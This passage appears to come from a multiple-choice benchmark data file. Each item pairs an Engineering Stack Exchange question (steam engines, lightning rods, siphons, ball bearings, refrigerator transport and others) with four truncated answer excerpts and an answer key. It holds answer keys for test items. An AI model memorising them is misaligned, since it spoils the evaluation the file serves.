"CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2826/understanding-required-torque-for-a-motor-lifting-a-weight"} {"id": "engineering_28254", "domain": "engineering", "question_title": "Why use steam instead of just hot air?", "question_body": "As I understand, a steam machine needs a pressurised gas to work. This can be compressed air but it used to be steam . Energy was provided to the steam engine by heating up water. I don't understand why it used water as the pressurised gas could have been generated only by heating air in a closed tank. Is the design of heating air in a tank instead of heating water to generate steam feasible? If so, why do steam engine work with steam instead of hot air?", "question_score": 27, "question_tags": ["steam"], "choices": {"A": "I would say that using a warm pressurized gas is not very feasible. Ratchet freak already mentioned how you can get much more volume out of heating water into steam than just heating up air until it's warmer. This touches on, but doesn't completely address an important factor about steam as power. Converting to steam includes a phase change from liquid to gas. This phase change actually acts as an additional storage of energy. You can draw this energy out of the steam later in the system (through a heat exchanger for example), converting it back into a liquid, which...", "B": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "C": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "D": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/28254/why-use-steam-instead-of-just-hot-air"} {"id": "engineering_38991", "domain": "engineering", "question_title": "Why are engine blocks so robust apart from containing high pressure?", "question_body": "Lately, I've been pondering why some engine blocks are so bulky, I always thought intuitively it was because they had to last a long time whilst containing thousands of combustion cycles but the more, I look into the reality of engine design that understanding doesn't always hold up to the design of an engine. It seems cylinder walls have a set thickness which makes pretty good sense, then there is a water-jacket chamber for coolant which again, makes sense but then there is an outer shell of material that is sometimes even thicker than the cylinder walls themselves. This is where I become confused (An example image below) Surely, this outer shell doesn't need to be as thick as it is. In my mind all it's doing is containing a pressurized coolant which can't amount to more pressure than the combustion of the engine itself. So why is it sometimes as thick as the cylinder wall?", "question_score": 27, "question_tags": ["mechanical-engineering", "structural-engineering", "structural-analysis", "automotive-engineering", "vibration"], "choices": {"A": "If you were going to turn left 90 degrees, without turning the wheels, then you wind up dragging the wheels sideways while you turn. 16 seconds into this video shows exactly what I'm talking about . So every time you try to back out of your driveway, or a parking spot, or turn into a parking spot, or turn anywhere for any reason, you're going to lay down rubber because the tires are rotating quickly while remaining nearly stationary as you turn. Again, look at the wheel slip in the video I linked. You'd be hard pressed to find \"four...", "B": "You want to let air into the pipe when you switch the pump off, without letting water out. Here's a few ways to do this. Make a pinhole in the highest point of the pipe. You will lose a bit of water this way, but if it is above the tank, the water will drip back in (provided it doesn't spray too far.) You could even put it just under the tank lid. Install a tee and riser at the highest point of the pipe. this will need to be high enough to avoid the pump pressure pumping water out...", "C": "Actually, handlebars and steering wheels are less similar than you might think. When a two-wheeled vehicle is moving fast enough to balance, the front wheel is never turned more than a few degrees. The primary mechanism for steering is leaning the vehicle, not turning the front wheel. For example, to turn right, you actually tug briefly on the left side of the handlebar. This causes the wheels to track to the left of the center of mass, which in turn causes the bike to lean to the right. This lean is what causes the direction to change, while maintaining balance...", "D": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/38991/why-are-engine-blocks-so-robust-apart-from-containing-high-pressure"} {"id": "engineering_1785", "domain": "engineering", "question_title": "Why doesn't a lightning strike destroy the lightning rod?", "question_body": "Lightning strikes have been known to cause massive amounts of damage . The stats on a lightning bolt are: current levels sometimes in excess of 400 kA, temperatures to 50,000 degrees F., and speeds approaching one third the speed of light These are massive numbers, but lightning protection systems are designed to draw the lightning away from the building or structure that they are protecting. Lightning protection systems can be simply thought of as lightning rods connected to the ground via cabling (downconductor). The NOAA specification for lightning protection requires that lightning rods be at least 0.5in (13mm) in diameter. The downconductor is a similar size copper cable ( 4/0 AWG or 12mm ). The allowable amperage for this type of wire is only about 250A for constant current. I realize that this is more of a heat limit rather than a instantaneous current capacity limit. From this paper on lightning protection (page 28): Positive feedback on the operation of a lightning protection system is seldom documented and most often not even noticed. Only in some rare cases can it be documented that a lightning protection system has been struck if it works properly and there is no damage. There is sometimes evidence at the strike termination point which can be noted during a careful inspection, but it is seldom cost effective for the owner of a lightning protection system to obtain the expertise necessary to conduct such a careful inspection. How can a seemingly small 0.5in (13mm) piece of metal handle a lightning strike with little or no visible damage much less without being completely destroyed?", "question_score": 25, "question_tags": ["electrical-engineering"], "choices": {"A": "As it happens, I just recently went through that calculation myself for a different site. Given the following facts from a quick web search, it isn't difficult to work out the numbers. The maximum efficiency of a (large) windmill is about 40%. The density of air is 1.225 kg/m 3 You need about 50 mW (10 mA at 5V) to light up an LED First, we'll need about 50 mW / 0.40 = 125 mW of air power flowing through the windmill to create the electricity we need (ignoring other factors such as the actual efficiency of a small windmill...", "B": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "C": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "D": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1785/why-doesnt-a-lightning-strike-destroy-the-lightning-rod"} {"id": "engineering_2363", "domain": "engineering", "question_title": "Why are rear wheels not placed at the extreme rear of a bus?", "question_body": "In some cars, I have noticed the rear wheels are located at the extreme rear of the vehicle. However, I have noticed that the rear wheels of buses are always located about 1/4th of the way forward from the rear. What is the reason for this?", "question_score": 25, "question_tags": ["mechanical-engineering", "automotive-engineering"], "choices": {"A": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "B": "To slightly generalize I'll reform the question slightly. A ridged 2-D body (car) has a line $l$ that moves with it. The car can be linearly transformed as long as the instantaneous center of rotation lies along $l$ at least distance $R$ away from a point $c$ that also moves with the car. In this case point $c$ lies in the center of the rear axle and $l$ lies on the rear axle. Now imagine the car's domain is limited to a quarter plane with edges $A$ and $B$. It initially is placed against $A$, far from $B$ with $l$...", "C": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better...", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2363/why-are-rear-wheels-not-placed-at-the-extreme-rear-of-a-bus"} {"id": "engineering_7536", "domain": "engineering", "question_title": "Why would you launch a large ship by dropping it sideways?", "question_body": "I'm referring to the process shown in this video: https://youtu.be/Quyr5R1Rbfw?t=20 Or this image from Wikipedia: In it, a large warship is launched into the water by essentially dropping it sideways down some ramps and off of a pier. The ship rolls hard to one side, and then oscillates back to the other, making the process seem like a fairly risky one. For instance, if it rolls back towards the pier too aggressively it might strike the structure and cause damage both to the pier and the shiny new warship. Or if it rolls too far on the initial drop, the ship might capsize. So my question is, what are the advantages of launching a large ship sideways like this, as opposed to, say, dropping or gently lowering it vertically into the water?", "question_score": 25, "question_tags": ["mechanical-engineering", "structural-engineering", "safety", "naval-engineering", "ships"], "choices": {"A": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better...", "B": "I think you are talking about roundabouts, not traffic circles. It is baffling to those of us in the UK that Americans think roundabouts are a new idea. In the UK we have so many variants, from mini-roundabouts all the way up to full motorway junctions (a giant roundabout above or below the motorway). So do roundabouts take up more space? Not necessarily, this is a mini roundabout: It's nothing more than a slightly domed area of paint on the road, no lights are necessary, you can actually drive straight over the top of it rather than around it, its...", "C": "I suspect that the answer to this is that, ultimately the gear ratio comes from the ratio of diameters of the gears rather than the number of teeth, although in most circumstances practicality dictates that they are proportional. Say you have a 10 tooth cog and a 40 tooth chainwheel. It's fairly simple to imagine that you could remove every other tooth from the 40 tooth wheel while keeping the diameter the same and maintain exactly the same gear ratio. Similarly you could have a completely gearless wheel (putting aside issues of slippage) driving a chain which drove a geared...", "D": "A specific reason for doing this is simply when there isn't enough room to do a bow or stern first launch. This is often the case when a ship or boat is built in a yard on a river or canal either because the hull is especially long or the channel it is being launched into is narrow. There is also the consideration that a sideways launch can be done from any quay that will take the weight but a bow first launch requires a specially constructed slipway. There is also the consideration that if you go in sideways the..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/7536/why-would-you-launch-a-large-ship-by-dropping-it-sideways"} {"id": "engineering_8619", "domain": "engineering", "question_title": "How to stop water flow in a siphon?", "question_body": "I have assembled a small DIY drip-irrigation system for my terrace garden. Please have a look at the attached image. I switch on a small pump to start the drip-irrigation system and then switch it off. But even after that, the water keeps flowing through the system and stops only when I physically lift the pump out of water. How can I stop this water flow without requiring any physical action? Please note that I plan to automate the switch-on/off of the pump using a timer so that it functions without requiring my physical presence. ======================================================================== I tried the suggestion of \"Making a pinhole in the highest point of the pipe.\" It worked like a charm and solved the issue I was facing. Completely loved it, more so, because it does not involve procuring new stuff. I also like the option of using a solenoid-valve, but have not tried it yet. Will use it when I install such a system again where the tank is at a considerably higher place than the plants. Thank you everyone who took the effort to write an answer, and that too with detailed explanations.", "question_score": 25, "question_tags": ["fluid-mechanics", "siphon"], "choices": {"A": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "B": "You want to let air into the pipe when you switch the pump off, without letting water out. Here's a few ways to do this. Make a pinhole in the highest point of the pipe. You will lose a bit of water this way, but if it is above the tank, the water will drip back in (provided it doesn't spray too far.) You could even put it just under the tank lid. Install a tee and riser at the highest point of the pipe. this will need to be high enough to avoid the pump pressure pumping water out...", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/8619/how-to-stop-water-flow-in-a-siphon"} {"id": "engineering_48864", "domain": "engineering", "question_title": "How do ball bearings not crack from a load concentrated on an infinitesimally small point?", "question_body": "How do ball bearings last? Most bearings in a standard hub (bottom of the image) are not actually taking a load. Only the single ball that happens to be at a particular location while spinning takes 100% of the load. If the bearings were cylindrical (top of the image) supporting a rolling plate, it would be slightly better, but not by much. Regardless of the load (in a bike hub), and even if it's just cyclist+bicycle, that the area is infinitesimally small would suggest that the stress skyrockets towards infinity. And that's before even talking of the higher loads in a car's bearings. How do ball bearings (in a bike hub) not crack from a load concentrated on an infinitesimally small point? This is a sequel question to a question I just asked on bicycles.SE about how much grease I should use after I overhaul bike hubs—whether I should put so little to keep the wheel spinning freely with minimal drag, or put so much that water ingress would be unlikely (the red areas in the image).", "question_score": 25, "question_tags": ["stresses", "bearings"], "choices": {"A": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "B": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better...", "C": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "D": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/48864/how-do-ball-bearings-not-crack-from-a-load-concentrated-on-an-infinitesimally-sm"} {"id": "engineering_3450", "domain": "engineering", "question_title": "What is the purpose of these "steps" in rivers?", "question_body": "I have seen a number of structures within rivers, which resemble steps, and which allow the water to cascade down them instead of flowing naturally down the course of the river. Example 1: River Avon in Bath Example 2: River Seine in Paris (from Les Miserables (2012)) What is the purpose of these structures?", "question_score": 24, "question_tags": ["civil-engineering", "hydrology", "flow-control"], "choices": {"A": "The two photos in the post show the same structure: Pulteney Weir , downstream of Pulteney Bridge on the River Avon in Bath. The shot of the \"Seine\" in Les Miserables was filmed on location in Bath. Pulteney Weir was designed by architect Neville Conder , and built between 1968 and 1972. It's one component of the Bath Flood Prevention Scheme, which was carried out after the disastrous flood of December 1960 . The Bath in Time website has photos of the old weir (which descended in a single step) and of the new weir under construction ( 1968 ,...", "B": "It is a trench shield. It gets placed in a trench after the trench is dug to prevent workers from being hurt or killed in the event of a trench collapse. This picture from GMC trench shield shows a partially collapsed trench with a shield installed that would protect the workers installing the blue brute pipe.", "C": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "D": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3450/what-is-the-purpose-of-these-steps-in-rivers"} {"id": "engineering_44701", "domain": "engineering", "question_title": "Why exactly does a washer help distribute the stress around a bolt?", "question_body": "Usually the reason for having a washer under a bolt head is stated to be that it helps to evenly distribute the stress to the clamped material surface. But why is this? I would understand if the washer was significantly larger than the bolt head. Then there would understandably be more surface area. But for a bolt like in the picture, the washer is only slightly larger than the bolt head, so why would it make much difference? EDIT: Thank you everyone for good discussion and answers! Didn't expect this to spark such a discussion.", "question_score": 24, "question_tags": ["mechanical-engineering", "civil-engineering", "stresses", "fasteners", "machine-elements"], "choices": {"A": "Car wheels have holes mostly due to weight and cost considerations. Each hole is a chunk of material that you aren't wasting and weighing down the wheel with. As another bonus, the holes help with cooling the brakes by allowing airflow between the inside and outside. The shape and size of the holes are calculated to have a minimal impact on the structural integrity of the wheel.", "B": "I would say that using a warm pressurized gas is not very feasible. Ratchet freak already mentioned how you can get much more volume out of heating water into steam than just heating up air until it's warmer. This touches on, but doesn't completely address an important factor about steam as power. Converting to steam includes a phase change from liquid to gas. This phase change actually acts as an additional storage of energy. You can draw this energy out of the steam later in the system (through a heat exchanger for example), converting it back into a liquid, which...", "C": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "D": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/44701/why-exactly-does-a-washer-help-distribute-the-stress-around-a-bolt"} {"id": "engineering_42598", "domain": "engineering", "question_title": "Why not put servers in a refrigerator?", "question_body": "Recently I was thinking about home improvement, and one idea that is haunting me is that I could use some kind of refrigerator for gaming consoles and laptops. The obvious benefit is that it maintains a constant low temperature. Also, the doors usually can be closed firmly and it won't let dust come inside, so there isn't any need to disassemble and clean hardware. That is a good thing in long term. Despite it makes airflow less intensive, according to my understanding it should not be a problem, as all that is needed for hardware is cooled air, not new air. And whenever I get what I consider a good idea, I usually stop for a minute and ask myself a question \"why doesn't this exist yet?\". So there are definitely big-scale expensive enterprise servers which could possibly use the same approach to reduce maintenance effort, but that is not the case. So the disadvantages I can think of is that refrigerators are just not designed to cool a source of constant heat for a long period of time and (probably) will break quickly. Another problem that came to mind is that refrigerator boxes tend to generate condensate and it might be harmful for hardware. Am I correct with my assumptions, or is it not that crucial and are there in fact similar solutions?", "question_score": 23, "question_tags": ["airflow", "cooling", "computer-engineering"], "choices": {"A": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "B": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "C": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "D": "We do. It's just an up-sized (i.e. more powerful) version of a refrigerator known as an air conditioning unit. Essentially all server rooms and most spaces where PCs are located (speaking for the U.S., at least) are air conditioned. Server rooms almost universally have dedicated HVAC systems and they will indeed be designed to keep the room at a more-or-less constant temperature (and typically humidity, too.) Other answers mention water blocks, heat sinks, fans, etc., but those are mostly just used to move the heat from the CPUs and other such hot components to the ambient air in the server..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/42598/why-not-put-servers-in-a-refrigerator"} {"id": "engineering_531", "domain": "engineering", "question_title": "What is a reason that handlebars fit to a motorcycle and steering wheel fit to a car?", "question_body": "What is the reason that handlebars are installed on motorcycles and steering wheels are installed on cars? Notice that the way to use both handlebars and steering wheels are quite similar, but a steering wheel allows for much more rotation than a handle bar when you control a vehicle. Please give me a reason why a massive vehicle should use a steering wheel and a light weight vehicle should use a handlebar? The reason maybe involve scientific reasons, safety reasons or designing reasons.", "question_score": 22, "question_tags": ["mechanical-engineering"], "choices": {"A": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "B": "Actually, handlebars and steering wheels are less similar than you might think. When a two-wheeled vehicle is moving fast enough to balance, the front wheel is never turned more than a few degrees. The primary mechanism for steering is leaning the vehicle, not turning the front wheel. For example, to turn right, you actually tug briefly on the left side of the handlebar. This causes the wheels to track to the left of the center of mass, which in turn causes the bike to lean to the right. This lean is what causes the direction to change, while maintaining balance...", "C": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "D": "My first thought is that it might be intended to be a wing nut driver of some sort, but those are usually hollow cylinders with slots for the wings. Ah ... sure enough, it's described as such in this Ebay ad :"}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/531/what-is-a-reason-that-handlebars-fit-to-a-motorcycle-and-steering-wheel-fit-to-a"} {"id": "engineering_2873", "domain": "engineering", "question_title": "Why do car wheels have holes?", "question_body": "If you have a look at the car's wheels, you'll notice that they have holes which can be of different forms (mostly circular or rectangular). Why do they have such holes? Doesn't that reduce the stiffness of the wheels?", "question_score": 22, "question_tags": ["mechanical-engineering", "automotive-engineering", "wheels"], "choices": {"A": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "B": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "C": "Car wheels have holes mostly due to weight and cost considerations. Each hole is a chunk of material that you aren't wasting and weighing down the wheel with. As another bonus, the holes help with cooling the brakes by allowing airflow between the inside and outside. The shape and size of the holes are calculated to have a minimal impact on the structural integrity of the wheel.", "D": "As with all good things, it depends. If you can assume that your supports are totally stiff and that the loading on the shelf will be approximately uniform, then you basically have the following structure: A rectangular cross-section (such as a plank) will behave equally under positive or negative bending moment, so your objective should be to balance both. To do so, you want your main span to be $2\\sqrt2 \\approx 2.83$ times the cantilevers. This is found by calculating the cantilever required to offset half of the bending moment due to a uniform load along a simply supported beam:..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2873/why-do-car-wheels-have-holes"} {"id": "engineering_15798", "domain": "engineering", "question_title": "What's wrong with transporting a refrigerator on its side?", "question_body": "I tried to deliver a refrigerator and the customer saw that the refrigerator was lying down in the truck instead of standing up. He refused to accept it, claiming that the compressor would be damaged by having it on its side. I tried to explain that that made no sense, but his friend came to me and also said the same thing. Is transporting a refrigerator on its side a problem? If so, why?", "question_score": 22, "question_tags": ["refrigeration"], "choices": {"A": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "B": "After referring to some good online resources such this , I know why we shouldn't transport it laying down. Compressor is filled with oil which is critical to its operation. In the normal upright position gravity keeps the oil in the compressor. When we lay the refrigerator flat, some of the oil can leave the compressor and go into the cooling lines. The oil is a thick viscous fluid and can clog the cooling lines thus hampering the refrigerator's ability to cool. Lack of oil in the compressor can also damage the compressor. If we must lay the fridge down,...", "C": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "D": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/15798/whats-wrong-with-transporting-a-refrigerator-on-its-side"} {"id": "engineering_38920", "domain": "engineering", "question_title": "How does turning off electric appliances save energy", "question_body": "We all know if we use less electricity we save energy. But the energy we're getting is result of burning (not necessarily the literal meaning) the fuel. Even if we don't use that energy that fuel is gone forever. (Except saving money on bills) My questions Am I wrong in above statement? If yes then how does actually electricity production work so that we're able to save it? Do power plant (or associate agencies) constantly monitor demand and reduce the production of electricity on real time thus saving fuel (hence energy)?", "question_score": 22, "question_tags": ["power", "energy", "power-engineering", "fuel-economy"], "choices": {"A": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. 